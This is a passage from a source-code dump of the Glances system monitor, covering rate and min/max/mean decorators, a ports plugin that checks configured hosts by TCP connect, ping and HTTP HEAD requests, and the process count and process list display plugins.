else:\n                        # Avoid strange rate at the first run\n                        stat[field] = 0\n                        stat[field + '_rate_per_sec'] = 0\n            return stat\n\n        def compute_rate_on_list(self, stats, stats_previous):\n            if stats_previous is None:\n                return stats\n\n            key = self.get_key()\n            previous_by_key = {s[key]: s for s in stats_previous}\n            for stat in stats:\n                old = previous_by_key.get(stat[key])\n                if old is not None:\n                    compute_rate(self, stat, old)\n            return stats\n\n        def wrapper(self, *args, **kw):\n            # Call the father method\n            stats = fct(self, *args, **kw)\n\n            # Get the time since the last update\n            self.time_since_last_update = getTimeSinceLastUpdate(self.plugin_name)\n\n            # Compute the rate\n            if isinstance(stats, dict):\n                # Stats is a dict\n                compute_rate(self, stats, self.stats_previous)\n            elif isinstance(stats, list):\n                # Stats is a list\n                compute_rate_on_list(self, stats, self.stats_previous)\n\n            # Memorized the current stats for next run\n            self.stats_previous = copy.deepcopy(stats)\n\n            return stats\n\n        return wrapper\n\n    def _manage_mmm(fct):\n        \"\"\"Manage MMM (Min/Max/Mean) decorator for update method.\n\n        Automatically computes and adds min/max/mean fields for any field with mmm=True.\n        \"\"\"\n\n        def wrapper(self, *args, **kw):\n            # Call the father method\n            stats = fct(self, *args, **kw)\n\n            # Update MMM fields\n            if isinstance(stats, dict):\n                # Stats is a dict\n                self._update_mmm_fields(stats)\n            elif isinstance(stats, list):\n                # Stats is a list\n                self._update_mmm_fields_on_list(stats)\n\n            return stats\n\n        return wrapper\n\n    # Mandatory to call the decorator in child classes\n    _check_decorator = staticmethod(_check_decorator)\n    _log_result_decorator = staticmethod(_log_result_decorator)\n    _manage_rate = staticmethod(_manage_rate)\n    _manage_mmm = staticmethod(_manage_mmm)\n"
  },
  {
    "path": "glances/plugins/ports/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Ports scanner plugin.\"\"\"\n\nimport numbers\nimport os\nimport socket\nimport subprocess\nimport threading\nimport time\nfrom functools import partial, reduce\n\nfrom glances.globals import BSD, MACOS, WINDOWS, bool_type\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\nfrom glances.ports_list import GlancesPortsList\nfrom glances.timer import Counter\nfrom glances.web_list import GlancesWebList\n\ntry:\n    import requests\n\n    requests_tag = True\nexcept ImportError as e:\n    requests_tag = False\n    logger.warning(f\"Missing Python Lib ({e}), Ports plugin is limited to port scanning\")\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'host': {\n        'description': 'Measurement is be done on this host (or IP address)',\n    },\n    'port': {\n        'description': 'Measurement is be done on this port (0 for ICMP)',\n    },\n    'description': {\n        'description': 'Human readable description for the host/port',\n    },\n    'refresh': {\n        'description': 'Refresh time (in seconds) for this host/port',\n    },\n    'timeout': {\n        'description': 'Timeout (in seconds) for the measurement',\n    },\n    'status': {\n        'description': 'Measurement result (in seconds)',\n        'unit': 'second',\n    },\n    'rtt_warning': {\n        'description': 'Warning threshold (in seconds) for the measurement',\n        'unit': 'second',\n    },\n    'indice': {\n        'description': 'Unique indice for the host/port',\n    },\n}\n\n\nclass PortsPlugin(GlancesPluginModel):\n    \"\"\"Glances ports scanner plugin.\"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, stats_init_value=[], fields_description=fields_description)\n        self.args = args\n        self.config = config\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Init stats\n        self.stats = (\n            GlancesPortsList(config=config, args=args).get_ports_list()\n            + GlancesWebList(config=config, args=args).get_web_list()\n        )\n\n        # Global Thread running all the scans\n        self._thread = None\n\n    def exit(self):\n        \"\"\"Overwrite the exit method to close threads.\"\"\"\n        if self._thread is not None:\n            self._thread.stop()\n        # Call the father class\n        super().exit()\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'indice'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the ports list.\"\"\"\n        if self.input_method == 'local':\n            # Only refresh:\n            # * if there is not other scanning thread\n            # * every refresh seconds (define in the configuration file)\n            if self._thread is None:\n                thread_is_running = False\n            else:\n                thread_is_running = self._thread.is_alive()\n            if not thread_is_running:\n                # Run ports scanner\n                self._thread = ThreadScanner(self.stats)\n                self._thread.start()\n        else:\n            # Not available in SNMP mode\n            self.stats = None\n\n        return self.stats\n\n    def get_conds_if_port(self, port):\n        return {\n            'CAREFUL': port['status'] is None,\n            'CRITICAL': port['status'] == 0,\n            'WARNING': isinstance(port['status'], (float, int))\n            and port['rtt_warning'] is not None\n            and port['status'] > port['rtt_warning'],\n        }\n\n    def get_ports_alert(self, port, header=\"\", log=False):\n        \"\"\"Return the alert status relative to the port scan return value.\"\"\"\n\n        return self.get_p_alert(self.get_conds_if_port(port), port, header, log)\n\n    def get_conds_if_url(self, web):\n        return {\n            'CAREFUL': web['status'] is None,\n            'CRITICAL': web['status'] not in [200, 301, 302],\n            'WARNING': web['rtt_warning'] is not None and web['elapsed'] > web['rtt_warning'],\n        }\n\n    def get_web_alert(self, web, header=\"\", log=False):\n        \"\"\"Return the alert status relative to the web/url scan return value.\"\"\"\n\n        return self.get_p_alert(self.get_conds_if_url(web), web, header, log)\n\n    def get_p_alert(self, conds, p, header=\"\", log=False):\n        ret = self.get_default_ret_value(conds)\n\n        # Get stat name\n        stat_name = self.get_stat_name(header=header)\n\n        # Manage threshold\n        self.manage_threshold(stat_name, ret)\n\n        # Manage action\n        self.manage_action(stat_name, ret.lower(), header, p[self.get_key()])\n\n        return ret\n\n    def get_default_ret_value(self, conds):\n        ret_as_dict_val = {'ret': key for key, cond in conds.items() if cond}\n\n        return ret_as_dict_val.get('ret', 'OK')\n\n    def set_status_if_host(self, p):\n        if p['host'] is None:\n            status = 'None'\n        elif p['status'] is None:\n            status = 'Scanning'\n        elif isinstance(p['status'], bool_type) and p['status'] is True:\n            status = 'Open'\n        elif p['status'] == 0:\n            status = 'Timeout'\n        else:\n            # Convert second to ms\n            status = '{:.0f}ms'.format(p['status'] * 1000.0)\n\n        return status\n\n    def set_status_if_url(self, p):\n        if isinstance(p['status'], numbers.Number):\n            status = 'Code {}'.format(p['status'])\n        elif p['status'] is None:\n            status = 'Scanning'\n        else:\n            status = p['status']\n\n        return status\n\n    def build_str(self, name_max_width, ret, p):\n        helper, status = self.get_status_and_helper(p).get(True)\n        msg = '{:{width}}'.format(p['description'][0:name_max_width], width=name_max_width)\n        ret.append(self.curse_add_line(msg))\n        msg = f'{status:>9}'\n        ret.append(self.curse_add_line(msg, helper(p, header=p['indice'] + '_rtt')))\n        ret.append(self.curse_new_line())\n\n        return ret\n\n    def get_status_and_helper(self, p):\n        return {\n            'host' in p: (self.get_ports_alert, self.set_status_if_host(p)) if 'host' in p else None,\n            'url' in p: (self.get_web_alert, self.set_status_if_url(p)) if 'url' in p else None,\n        }\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        # Only process if stats exist and display plugin enable...\n        init = []\n\n        if not self.stats or args.disable_ports:\n            return init\n\n        # Max size for the interface name\n        if max_width:\n            name_max_width = max_width - 7\n        else:\n            # No max_width defined, return an empty curse message\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return init\n\n        # Build the string message\n        build_str_with_this_max_width = partial(self.build_str, name_max_width)\n        ret = reduce(build_str_with_this_max_width, self.stats, init)\n\n        # Delete the last empty line\n        try:\n            ret.pop()\n        except IndexError:\n            pass\n\n        return ret\n\n\nclass ThreadScanner(threading.Thread):\n    \"\"\"\n    Specific thread for the port/web scanner.\n\n    stats is a list of dict\n    \"\"\"\n\n    def __init__(self, stats):\n        \"\"\"Init the class.\"\"\"\n        logger.debug(f\"ports plugin - Create thread for scan list {stats}\")\n        super().__init__()\n        # Event needed to stop properly the thread\n        self._stopper = threading.Event()\n        # The class return the stats as a list of dict\n        self._stats = stats\n        # Is part of Ports plugin\n        self.plugin_name = \"ports\"\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'indice'\n\n    def run(self):\n        \"\"\"Grab the stats.\n\n        Infinite loop, should be stopped by calling the stop() method.\n        \"\"\"\n        for p in self._stats:\n            # End of the thread has been asked\n            if self.stopped():\n                break\n            # Scan a port (ICMP or TCP)\n            if 'port' in p:\n                self._port_scan(p)\n                # Had to wait between two scans\n                # If not, result are not ok\n                time.sleep(1)\n            # Scan an URL\n            elif 'url' in p and requests_tag:\n                self._web_scan(p)\n            # Add the key for every element\n            p['key'] = self.get_key()\n\n    @property\n    def stats(self):\n        \"\"\"Stats getter.\"\"\"\n        return self._stats\n\n    @stats.setter\n    def stats(self, value):\n        \"\"\"Stats setter.\"\"\"\n        self._stats = value\n\n    def stop(self, timeout=None):\n        \"\"\"Stop the thread.\"\"\"\n        logger.debug(f\"ports plugin - Close thread for scan list {self._stats}\")\n        self._stopper.set()\n\n    def stopped(self):\n        \"\"\"Return True is the thread is stopped.\"\"\"\n        return self._stopper.is_set()\n\n    def _web_scan(self, web):\n        \"\"\"Scan the  Web/URL (dict) and update the status key.\"\"\"\n        try:\n            req = requests.head(\n                web['url'],\n                allow_redirects=True,\n                verify=web['ssl_verify'],\n                proxies=web['proxies'],\n                timeout=web['timeout'],\n            )\n        except Exception as e:\n            logger.debug(e)\n            web['status'] = 'Error'\n            web['elapsed'] = 0\n        else:\n            web['status'] = req.status_code\n            web['elapsed'] = req.elapsed.total_seconds()\n        return web\n\n    def _port_scan(self, port):\n        \"\"\"Scan the port structure (dict) and update the status key.\"\"\"\n        if int(port['port']) == 0:\n            return self._port_scan_icmp(port)\n        return self._port_scan_tcp(port)\n\n    def _resolv_name(self, hostname):\n        \"\"\"Convert hostname to IP address.\"\"\"\n        ip = hostname\n        try:\n            ip = socket.gethostbyname(hostname)\n        except Exception as e:\n            logger.debug(f\"{self.plugin_name}: Cannot convert {hostname} to IP address ({e})\")\n        return ip\n\n    def _port_scan_icmp(self, port):\n        \"\"\"Scan the (ICMP) port structure (dict) and update the status key.\"\"\"\n        ret = None\n\n        # Create the ping command\n        # Use the system ping command because it already have the sticky bit set\n        # Python can not create ICMP packet with non root right\n        if WINDOWS:\n            timeout_opt = '-w'\n            count_opt = '-n'\n        elif MACOS or BSD:\n            timeout_opt = '-t'\n            count_opt = '-c'\n        else:\n            # Linux and co...\n            timeout_opt = '-W'\n            count_opt = '-c'\n        # Build the command line\n        # Note: Only string are allowed\n        cmd = [\n            'ping',\n            count_opt,\n            '1',\n            timeout_opt,\n            str(self._resolv_name(port['timeout'])),\n            self._resolv_name(port['host']),\n        ]\n        fnull = open(os.devnull, 'w')\n\n        try:\n            counter = Counter()\n            ret = subprocess.check_call(cmd, stdout=fnull, stderr=fnull, close_fds=True)\n            if ret == 0:\n                port['status'] = counter.get()\n            else:\n                port['status'] = False\n        except subprocess.CalledProcessError:\n            # Correct issue #1084: No Offline status for timed-out ports\n            port['status'] = False\n        except Exception as e:\n            logger.debug(\"{}: Error while pinging host {} ({})\".format(self.plugin_name, port['host'], e))\n\n        fnull.close()\n\n        return ret\n\n    def _port_scan_tcp(self, port):\n        \"\"\"Scan the (TCP) port structure (dict) and update the status key.\"\"\"\n        ret = None\n\n        # Create and configure the scanning socket\n        try:\n            socket.setdefaulttimeout(port['timeout'])\n            _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        except Exception as e:\n            logger.debug(f\"{self.plugin_name}: Error while creating scanning socket ({e})\")\n\n        # Scan port\n        ip = self._resolv_name(port['host'])\n        counter = Counter()\n        try:\n            ret = _socket.connect_ex((ip, int(port['port'])))\n        except Exception as e:\n            logger.debug(f\"{self.plugin_name}: Error while scanning port {port} ({e})\")\n        else:\n            if ret == 0:\n                port['status'] = counter.get()\n            else:\n                port['status'] = False\n        finally:\n            _socket.close()\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/processcount/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Process count plugin.\"\"\"\n\nfrom glances.plugins.plugin.model import GlancesPluginModel\nfrom glances.processes import glances_processes, sort_for_human\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: if True then compute and add *_gauge and *_rate_per_is fields\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'total': {\n        'description': 'Total number of processes',\n        'unit': 'number',\n    },\n    'running': {\n        'description': 'Total number of running processes',\n        'unit': 'number',\n    },\n    'sleeping': {\n        'description': 'Total number of sleeping processes',\n        'unit': 'number',\n    },\n    'thread': {\n        'description': 'Total number of threads',\n        'unit': 'number',\n    },\n    'pid_max': {\n        'description': 'Maximum number of processes',\n        'unit': 'number',\n    },\n}\n\n# Define the history items list\nitems_history_list = [\n    {'name': 'total', 'description': 'Total number of processes', 'y_unit': ''},\n    {'name': 'running', 'description': 'Total number of running processes', 'y_unit': ''},\n    {'name': 'sleeping', 'description': 'Total number of sleeping processes', 'y_unit': ''},\n    {'name': 'thread', 'description': 'Total number of threads', 'y_unit': ''},\n]\n\n\nclass ProcesscountPlugin(GlancesPluginModel):\n    \"\"\"Glances process count plugin.\n\n    stats is a list\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args, config=config, items_history_list=items_history_list, fields_description=fields_description\n        )\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Note: 'glances_processes' is already init in the glances_processes.py script\n\n    def enable_extended(self):\n        \"\"\"Enable extended stats.\"\"\"\n        glances_processes.enable_extended()\n\n    def disable_extended(self):\n        \"\"\"Disable extended stats.\"\"\"\n        glances_processes.disable_extended()\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update processes stats using the input method.\"\"\"\n        # Update the stats\n        if self.input_method == 'local':\n            # Update stats using the standard system lib\n            # Here, update is call for processcount, processlist and programlist\n            glances_processes.update()\n\n            # For the ProcessCount, only return the processes count\n            stats = glances_processes.get_count()\n        else:\n            stats = self.get_init_value()\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and display plugin enable...\n        if args and args.disable_process:\n            msg = \"PROCESSES DISABLED (press 'z' to display)\"\n            ret.append(self.curse_add_line(msg))\n            return ret\n\n        if not self.stats:\n            return ret\n\n        # Display the filter (if it exists)\n        if glances_processes.process_filter is not None:\n            msg = 'Processes filter:'\n            ret.append(self.curse_add_line(msg, \"TITLE\"))\n            msg = f' {glances_processes.process_filter} '\n            if glances_processes.process_filter_key is not None:\n                msg += f'on column {glances_processes.process_filter_key} '\n            ret.append(self.curse_add_line(msg, \"FILTER\"))\n            msg = '(\\'ENTER\\' to edit, \\'E\\' to reset)'\n            ret.append(self.curse_add_line(msg))\n            ret.append(self.curse_new_line())\n\n        # Build the string message\n        # Header\n        msg = 'TASKS'\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        # Compute processes\n        other = self.stats['total']\n        msg = '{:>4}'.format(self.stats['total'])\n        ret.append(self.curse_add_line(msg))\n\n        if 'thread' in self.stats:\n            msg = ' ({} thr),'.format(self.stats['thread'])\n            ret.append(self.curse_add_line(msg))\n\n        if 'running' in self.stats:\n            other -= self.stats['running']\n            msg = ' {} run,'.format(self.stats['running'])\n            ret.append(self.curse_add_line(msg))\n\n        if 'sleeping' in self.stats:\n            other -= self.stats['sleeping']\n            msg = ' {} slp,'.format(self.stats['sleeping'])\n            ret.append(self.curse_add_line(msg))\n\n        msg = f' {other} oth '\n        ret.append(self.curse_add_line(msg))\n\n        # Display sort information\n        msg = 'Programs' if self.args.programs else 'Threads'\n        try:\n            sort_human = sort_for_human[glances_processes.sort_key]\n        except KeyError:\n            sort_human = glances_processes.sort_key\n        if glances_processes.auto_sort:\n            msg += ' sorted automatically'\n            ret.append(self.curse_add_line(msg))\n            msg = f' by {sort_human}'\n        else:\n            msg += f' sorted by {sort_human}'\n        ret.append(self.curse_add_line(msg))\n\n        # Return the message with decoration\n        return ret\n"
  },
  {
    "path": "glances/plugins/processlist/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Process list plugin.\"\"\"\n\nimport copy\nimport functools\nimport os\n\nfrom glances.globals import WINDOWS, key_exist_value_not_none_not_v, replace_special_chars\nfrom glances.logger import logger\nfrom glances.outputs.glances_unicode import unicode_message\nfrom glances.plugins.core import CorePlugin\nfrom glances.plugins.plugin.model import GlancesPluginModel\nfrom glances.processes import glances_processes, sort_stats\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: if True then compute and add *_gauge and *_rate_per_is fields\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'pid': {\n        'description': 'Process identifier (ID)',\n        'unit': 'number',\n    },\n    'name': {\n        'description': 'Process name',\n        'unit': 'string',\n    },\n    'cmdline': {\n        'description': 'Command line with arguments',\n        'unit': 'list',\n    },\n    'username': {\n        'description': 'Process owner',\n        'unit': 'string',\n    },\n    'num_threads': {\n        'description': 'Number of threads',\n        'unit': 'number',\n    },\n    'cpu_percent': {\n        'description': 'Process CPU consumption \\\n(returned value can be > 100.0 in case of a process running multiple threads on different CPU cores)',\n        'unit': 'percent',\n    },\n    'memory_percent': {\n        'description': 'Process memory consumption',\n        'unit': 'percent',\n    },\n    'memory_info': {\n        'description': 'Process memory information (dict with rss, vms, shared, text, lib, data, dirty keys)',\n        'unit': 'byte',\n    },\n    'status': {\n        'description': 'Process status',\n        'unit': 'string',\n    },\n    'nice': {\n        'description': 'Process nice value',\n        'unit': 'number',\n    },\n    'cpu_times': {\n        'description': 'Process CPU times (dict with user, system, iowait keys)',\n        'unit': 'second',\n    },\n    'gids': {\n        'description': 'Process group IDs (dict with real, effective, saved keys)',\n        'unit': 'number',\n    },\n    'io_counters': {\n        'description': 'Process IO counters (list with read_count, write_count, read_bytes, write_bytes, io_tag keys)',\n        'unit': 'byte',\n    },\n    'cpu_num': {\n        'description': 'CPU core number where the process is currently executing (0-based indexing)',\n        'unit': 'number',\n    },\n}\n\n\ndef seconds_to_hms(input_seconds):\n    \"\"\"Convert seconds to human-readable time.\"\"\"\n    minutes, seconds = divmod(input_seconds, 60)\n    hours, minutes = divmod(minutes, 60)\n\n    hours = int(hours)\n    minutes = int(minutes)\n    seconds = str(int(seconds)).zfill(2)\n\n    return hours, minutes, seconds\n\n\ndef split_cmdline(bare_process_name, cmdline):\n    \"\"\"Return path, cmd and arguments for a process cmdline based on bare_process_name.\n\n    If first argument of cmdline starts with the bare_process_name then\n    cmdline will just be considered cmd and path will be empty (see https://github.com/nicolargo/glances/issues/1795)\n\n    :param bare_process_name: Name of the process from psutil\n    :param cmdline: cmdline from psutil\n    :return: Tuple with three strings, which are path, cmd and arguments of the process\n    \"\"\"\n    if cmdline[0].startswith(bare_process_name):\n        path, cmd = \"\", cmdline[0]\n    else:\n        path, cmd = os.path.split(cmdline[0])\n    arguments = ' '.join(cmdline[1:])\n    return path, cmd, arguments\n\n\nclass ProcesslistPlugin(GlancesPluginModel):\n    \"\"\"Glances' processes plugin.\n\n    stats is a list\n    \"\"\"\n\n    # Default list of processes stats to be grabbed / displayed\n    # Can be altered by glances_processes.disable_stats\n    enable_stats = [\n        'cpu_percent',\n        'memory_percent',\n        'memory_info',  # vms and rss\n        'pid',\n        'username',\n        'cpu_times',\n        'num_threads',\n        'nice',\n        'status',\n        'io_counters',  # ior and iow\n        'cpu_num',  # current CPU core\n        'cmdline',\n    ]\n\n    # Define the header layout of the processes list columns\n    layout_header = {\n        'cpu': '{:<6} ',\n        'mem': '{:<5} ',\n        'virt': '{:<5} ',\n        'res': '{:<5} ',\n        'pid': '{:>{width}} ',\n        'user': '{:<10} ',\n        'time': '{:>8} ',\n        'thread': '{:<3} ',\n        'nice': '{:>3} ',\n        'status': '{:>1} ',\n        'ior': '{:>4} ',\n        'iow': '{:<4} ',\n        'processor': '{:>3} ',\n        'command': '{} {}',\n    }\n\n    # Define the stat layout of the processes list columns\n    layout_stat = {\n        'cpu': '{:<6.1f}',\n        'cpu_no_digit': '{:<6.0f}',\n        'mem': '{:<5.1f} ',\n        'virt': '{:<5} ',\n        'res': '{:<5} ',\n        'pid': '{:>{width}} ',\n        'user': '{:<10} ',\n        'time': '{:>8} ',\n        'thread': '{:<3} ',\n        'nice': '{:>3} ',\n        'status': '{:>1} ',\n        'ior': '{:>4} ',\n        'iow': '{:<4} ',\n        'processor': '{:>3} ',\n        'command': '{}',\n        'name': '[{}]',\n    }\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, fields_description=fields_description, stats_init_value=[])\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Trying to display proc time\n        self.tag_proc_time = True\n\n        # Call CorePlugin to get the core number (needed when not in IRIX mode / Solaris mode)\n        try:\n            self.nb_log_core = CorePlugin(args=self.args).update()[\"log\"]\n        except Exception:\n            self.nb_log_core = 0\n\n        # Get the max values (dict)\n        self.max_values = copy.deepcopy(glances_processes.max_values())\n\n        # Get the maximum PID number\n        # Use to optimize space (see https://github.com/nicolargo/glances/issues/959)\n        self.pid_max = glances_processes.pid_max\n\n        # Load the config file\n        self.load(args, config)\n\n        # The default sort key could also be overwrite by command line (see #1903)\n        if args and args.sort_processes_key is not None:\n            glances_processes.set_sort_key(args.sort_processes_key, False)\n\n        # Note: 'glances_processes' is already init in the processes.py script\n\n    def load(self, args, config):\n        # Set the default sort key if it is defined in the configuration file\n        if config is None or 'processlist' not in config.as_dict():\n            return\n        if 'sort_key' in config.as_dict()['processlist']:\n            logger.debug(\n                'Configuration overwrites processes sort key by {}'.format(config.as_dict()['processlist']['sort_key'])\n            )\n            glances_processes.set_sort_key(config.as_dict()['processlist']['sort_key'], False)\n        if 'export' in config.as_dict()['processlist']:\n            glances_processes.export_process_filter = config.as_dict()['processlist']['export']\n            if args and args.export:\n                logger.info(\"Export process filter is set to: {}\".format(config.as_dict()['processlist']['export']))\n        if 'focus' in config.as_dict()['processlist']:\n            glances_processes.process_focus = config.as_dict()['processlist']['focus']\n            logger.info(\n                \"Focus process filter (in glances.conf) is set to: {}\".format(config.as_dict()['processlist']['focus'])\n            )\n        if 'disable_stats' in config.as_dict()['processlist']:\n            logger.info(\n                'Followings processes stats will not be displayed: {}'.format(\n                    config.as_dict()['processlist']['disable_stats']\n                )\n            )\n            glances_processes.disable_stats = config.as_dict()['processlist']['disable_stats'].split(',')\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'pid'\n\n    def update(self):\n        \"\"\"Update processes stats using the input method.\"\"\"\n        # Update the stats\n        if self.input_method == 'local':\n            # Update stats using the standard system lib\n            # Note: Update is done in the processcount plugin\n            # Just return the result\n            stats = glances_processes.get_list()\n        else:\n            stats = self.get_init_value()\n\n        # Get the max values (dict)\n        # Use Deep copy to avoid change between update and display\n        self.max_values = copy.deepcopy(glances_processes.max_values())\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def get_api(self):\n        \"\"\"Return the sorted processes list for the API.\"\"\"\n        return glances_processes.get_list(sorted=True)\n\n    def get_export(self):\n        \"\"\"Return the processes list to export.\n        Not all the processeses are exported.\n        Only the one defined in the Glances configuration file (see #794 for details).\n        \"\"\"\n        return glances_processes.get_export()\n\n    def get_nice_alert(self, value):\n        \"\"\"Return the alert relative to the Nice configuration list\"\"\"\n        value = str(value)\n        if self.get_limit('nice_critical') and value in self.get_limit('nice_critical'):\n            return 'CRITICAL'\n        if self.get_limit('nice_warning') and value in self.get_limit('nice_warning'):\n            return 'WARNING'\n        if self.get_limit('nice_careful') and value in self.get_limit('nice_careful'):\n            return 'CAREFUL'\n        if self.get_limit('nice_ok') and value in self.get_limit('nice_ok'):\n            return 'OK'\n\n        return 'DEFAULT'\n\n    def get_status_alert(self, value):\n        \"\"\"Return the alert relative to the Status configuration list\"\"\"\n        value = str(value)\n        if self.get_limit('status_critical') and value in self.get_limit('status_critical'):\n            return 'CRITICAL'\n        if self.get_limit('status_warning') and value in self.get_limit('status_warning'):\n            return 'WARNING'\n        if self.get_limit('status_careful') and value in self.get_limit('status_careful'):\n            return 'CAREFUL'\n        if self.get_limit('status_ok') and value in self.get_limit('status_ok'):\n            return 'OK'\n\n        return 'OK' if value == 'R' else 'DEFAULT'\n\n    def _get_process_curses_cpu_percent(self, p, selected, args):\n        \"\"\"Return process CPU curses\"\"\"\n        if key_exist_value_not_none_not_v('cpu_percent', p, ''):\n            cpu_layout = self.layout_stat['cpu'] if p['cpu_percent'] < 100 else self.layout_stat['cpu_no_digit']\n            if args and args.disable_irix and self.nb_log_core != 0:\n                msg = cpu_layout.format(p['cpu_percent'] / float(self.nb_log_core))\n            else:\n                msg = cpu_layout.format(p['cpu_percent'])\n            alert = self.get_alert(\n                p['cpu_percent'],\n                highlight_zero=True,\n                is_max=(p['cpu_percent'] == self.max_values['cpu_percent']),\n                header=\"cpu\",\n            )\n            ret = self.curse_add_line(msg, alert)\n        else:\n            msg = self.layout_header['cpu'].format('?')\n            ret = self.curse_add_line(msg)\n        return ret\n\n    def _get_process_curses_memory_percent(self, p, selected, args):\n        \"\"\"Return process MEM curses\"\"\"\n        if key_exist_value_not_none_not_v('memory_percent', p, ''):\n            msg = self.layout_stat['mem'].format(p['memory_percent'])\n            alert = self.get_alert(\n                p['memory_percent'],\n                highlight_zero=True,\n                is_max=(p['memory_percent'] == self.max_values['memory_percent']),\n                header=\"mem\",\n            )\n            ret = self.curse_add_line(msg, alert)\n        else:\n            msg = self.layout_header['mem'].format('?')\n            ret = self.curse_add_line(msg)\n        return ret\n\n    def _get_process_curses_vms(self, p, selected, args):\n        \"\"\"Return process VMS curses\"\"\"\n        if key_exist_value_not_none_not_v('memory_info', p, '', 1) and 'vms' in p['memory_info']:\n            msg = self.layout_stat['virt'].format(self.auto_unit(p['memory_info']['vms'], low_precision=False))\n            ret = self.curse_add_line(msg, optional=True)\n        else:\n            msg = self.layout_header['virt'].format('?')\n            ret = self.curse_add_line(msg)\n        return ret\n\n    def _get_process_curses_rss(self, p, selected, args):\n        \"\"\"Return process RSS curses\"\"\"\n        if key_exist_value_not_none_not_v('memory_info', p, '', 0) and 'rss' in p['memory_info']:\n            msg = self.layout_stat['res'].format(self.auto_unit(p['memory_info']['rss'], low_precision=False))\n            ret = self.curse_add_line(msg, optional=True)\n        else:\n            msg = self.layout_header['res'].format('?')\n            ret = self.curse_add_line(msg)\n        return ret\n\n    def _get_process_curses_memory_info(self, p, selected, args):\n        ret = []\n        if not self.get_conf_value('disable_virtual_memory', convert_bool=True, default=False):\n            ret.append(self._get_process_curses_vms(p, selected, args))\n        ret.append(self._get_process_curses_rss(p, selected, args))\n        return ret\n\n    def _get_process_curses_pid(self, p, selected, args):\n        \"\"\"Return process PID curses\"\"\"\n        # Display processes, so the PID should be displayed\n        msg = self.layout_stat['pid'].format(p['pid'], width=self._max_pid_size())\n        return self.curse_add_line(msg)\n\n    def _get_process_curses_username(self, p, selected, args):\n        \"\"\"Return process username curses\"\"\"\n        if 'username' in p:\n            # docker internal users are displayed as ints only, therefore str()\n            # Correct issue #886 on Windows OS\n            msg = self.layout_stat['user'].format(str(p['username'])[:9])\n        else:\n            msg = self.layout_header['user'].format('?')\n        return self.curse_add_line(msg)\n\n    def _get_process_curses_cpu_times(self, p, selected, args):\n        \"\"\"Return process time curses\"\"\"\n        cpu_times = p['cpu_times']\n        try:\n            # Sum user and system time\n            user_system_time = cpu_times['user'] + cpu_times['system']\n        except (OverflowError, TypeError, KeyError):\n            # Catch OverflowError on some Amazon EC2 server\n            # See https://github.com/nicolargo/glances/issues/87\n            # Also catch TypeError on macOS\n            # See: https://github.com/nicolargo/glances/issues/622\n            # Also catch KeyError (as no stats be present for processes of other users)\n            # See: https://github.com/nicolargo/glances/issues/2831\n            # logger.debug(\"Cannot get TIME+ ({})\".format(e))\n            msg = self.layout_header['time'].format('?')\n            return self.curse_add_line(msg, optional=True)\n\n        hours, minutes, seconds = seconds_to_hms(user_system_time)\n        if hours > 99:\n            msg = f'{hours:<7}h'\n        elif 0 < hours < 100:\n            msg = f'{hours}h{minutes}:{seconds}'\n        else:\n            msg = f'{minutes}:{seconds}'\n\n        msg = self.layout_stat['time'].format(msg)\n        if hours > 0:\n            return self.curse_add_line(msg, decoration='CPU_TIME', optional=True)\n\n        return self.curse_add_line(msg, optional=True)\n\n    def _get_process_curses_num_threads(self, p, selected, args):\n        \"\"\"Return process thread curses\"\"\"\n        if 'num_threads' in p:\n            num_threads = p['num_threads']\n            if num_threads is None:\n                num_threads = '?'\n            msg = self.layout_stat['thread'].format(num_threads)\n        else:\n            msg = self.layout_header['thread'].format('?')\n        return self.curse_add_line(msg)\n\n    def _get_process_curses_nice(self, p, selected, args):\n        \"\"\"Return process nice curses\"\"\"\n        if 